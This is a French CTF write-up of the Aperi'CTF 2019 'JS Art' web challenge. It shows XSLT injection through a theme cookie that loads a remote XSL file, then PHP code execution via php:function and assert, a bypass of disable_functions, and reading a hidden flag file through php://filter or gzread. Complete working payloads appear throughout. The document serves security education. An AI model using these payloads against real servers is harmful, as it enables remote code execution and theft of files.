Aperi’CTF 2019 - JS Art
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | JS Art | Web | 200 | 5 |
Vous auditez le site web d’une galerie d’art digital. L’administrateur entrepose ses dernières oeuvres (flag) dans un fichier/dossier caché aux utilisateurs. Investiguez et ramenez la dernière la dernière oeuvre.
Note: Inutile d’avoir un shell sur la machine.
TL;DR
Il y avait une injection XSLT dans les cookies utilisés pour le thème. De plus, il fallait contourner disable_functions en utilisant glob('.*') et include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php').
Méthodologie
Le site web possède une galerie, un formulaire de contact et un thème sombre / clair :








RCE
En observant le site web, on peut se concentrer sur le formulaire de contact (paramètre vide, tableau, fausse adresse email, …) mais cela n’a aucun effet réel.
En passant du thème sombre au thème clair, on remarque qu’un cookie « color » est défini.
Changeons sa valeur en « x » et voyons ce qui se passe :
On obtient une erreur : DOMDocument::load(): I/O warning : failed to load external entity "/var/www/html/x.xsl". Il semble que le site web charge $_COOKIE['color'].".xsl". Au vu de la technologie utilisée (XSLT), on peut imaginer que le site web est vulnérable à une exécution de code XSLT ?
Pour cela, nous allons créer un simple phpinfo() dans un fichier XSL sur un serveur distant. On peut trouver plus de documentation sur le site d’agarri.
Voici notre payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<!-- PHP Info (disable_functions) -->
<xsl:value-of select="php:function('phpinfo')"/>
</xsl:template>
</xsl:stylesheet>
Maintenant, uploadez votre fichier sur un serveur distant (pour ceux qui n’ont pas de serveur distant, vous pouvez utiliser une API de hook comme beeceptor avec une réponse personnalisée contenant le xml).
Ici, mon payload est disponible à l’adresse https://zeecka.fr/payload.xsl.
Maintenant, définissez le cookie « color » sur https://yoursite/payload (note : ‘.xsl’ est déjà ajouté par php). Ici, mon cookie est https://zeecka.fr/payload.
Voyons maintenant le site web avec notre nouveau design :
On peut exécuter du code sur le serveur !
Contourner disable_functions
Si l’on regarde les disable_functions dans phpinfo, on obtient beaucoup de fonctions désactivées :
scandir,highlight_file,show_source,file_get_contents,readfile,opendir,readdir,closedir,eval,exec,system,shell_exec,popen,proc_open,passthru,preg_replace,preg_replace_callback,imap_open,imap_mail,mail,error_log,fpaththru,curl_exec,curl_multi_exec,diskfreespace,dl,getmypid,getmyuid,ignore_user_abord,leak,link,listen,mod_cgi,parse_ini_file,putenv,create_function,set_time_limit,source,tmpfile,virtual,mkdir,symlink,ini_set,unlink,php_uname,apache_setenv,fastcgi,com,env,papar,exp,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,posix,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,mod-cgi
Comme dit précédemment, pas besoin d’avoir un shell, nous devons simplement parcourir les fichiers du système et lire un fichier. Concentrons-nous sur le premier point : comment lister les fichiers en PHP ?
Lister les fichiers
La fonction la plus utilisée pour lister les fichiers en php est scandir, cependant celle-ci est désactivée. readdir est également désactivée. En cherchant « php list file » sur google, la fonction glob est mentionnée (première page de google).
Cependant, glob(’*’) retourne un Array et XSLT n’autorise pas 3 fonctions comme a(b(c())). Autrement dit, on ne peut pas faire print_r(glob('*')). Il nous faut trouver une solution.
XSLT propose la syntaxe <xsl:variable> pour stocker des données. Peut-être pouvons-nous stocker notre payload et l’évaluer ?
Voici notre payload :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('*'))
</xsl:variable>
<xsl:value-of select="php:function('eval',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Cependant, eval est désactivée ! ( Warning: XSLTProcessor::transformToXml(): Unable to call handler eval() in /var/www/html/index.php on line 52 )
En regardant les différentes fonctions qui évaluent du code, on peut retenir la fonction assert qui n’est pas désactivée.
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Et maintenant la sortie est :
Array (
[0] => art.png
[1] => arts.xml
[2] => dark.xsl
[3] => fonts
[4] => fullpage.js
[5] => index.php
[6] => light.xsl
[7] => mail.php
[8] => main.js
[9] => mainend.js
[10] => phone-icon.png
[11] => style.css
[12] => test.php
) true
Si l’on parcourt chaque dossier, on ne trouve aucun flag. Après quelques tests, on remarque que glob('*') n’affiche pas les dossiers cachés (commençant par un point, ex. .ssh). Nous devons forcer le point comme premier caractère : glob('.*').
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('.*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Et maintenant la sortie est :
Array (
[0] => .
[1] => ..
[2] => .s3cr3t___FLAG
) true
Nous avons un dossier secret ! Énumérons les fichiers secrets dans ce dossier.
payload.xsl :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">
print_r(glob('.s3cr3t___FLAG/.*'))
</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Et maintenant la sortie est :
Array (
[0] => .s3cr3t___FLAG/.
[1] => .s3cr3t___FLAG/..
[2] => .s3cr3t___FLAG/.Th3Fl4g.php
) true
Nous avons le chemin vers notre flag : .s3cr3t___FLAG/.Th3Fl4g.php.
Lire le fichier
Maintenant que nous avons le chemin vers notre flag, nous devons l’afficher. Si l’on accède directement au site web, on n’obtient aucune réponse. Le flag est caché dans une variable. Nous devons afficher le contenu du flag.
Comme dans la première partie du challenge, beaucoup de fonctions manquent comme readfile(),file_get_content(),show_source()…
Solution 1 - Zeecka
La première solution consiste à utiliser la fonction include() avec le wrapper php base64 php://filter/read=convert.base64-encode/resource= :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php');</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
On obtient la réponse PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg== true.
echo -n "PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg==" | base64 -d
Sortie :
<?php
$SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>
Solution 2 - DrStache
Pendant nos tests, DrStache avait une autre solution utilisant la compression GZ :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
<xsl:template match="/">
<xsl:variable name="eval">var_dump(gzread(gzopen('.s3cr3t___FLAG/.Th3Fl4g.php',"r"),10000));</xsl:variable>
<xsl:value-of select="php:function('assert',$eval)"/>
</xsl:template>
</xsl:stylesheet>
Sortie (en view-source puisque la balise php est interprétée comme une balise html) :
<?php
$SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>
Flag
APRK{XSLT_DIS4BL3_BYP4SS}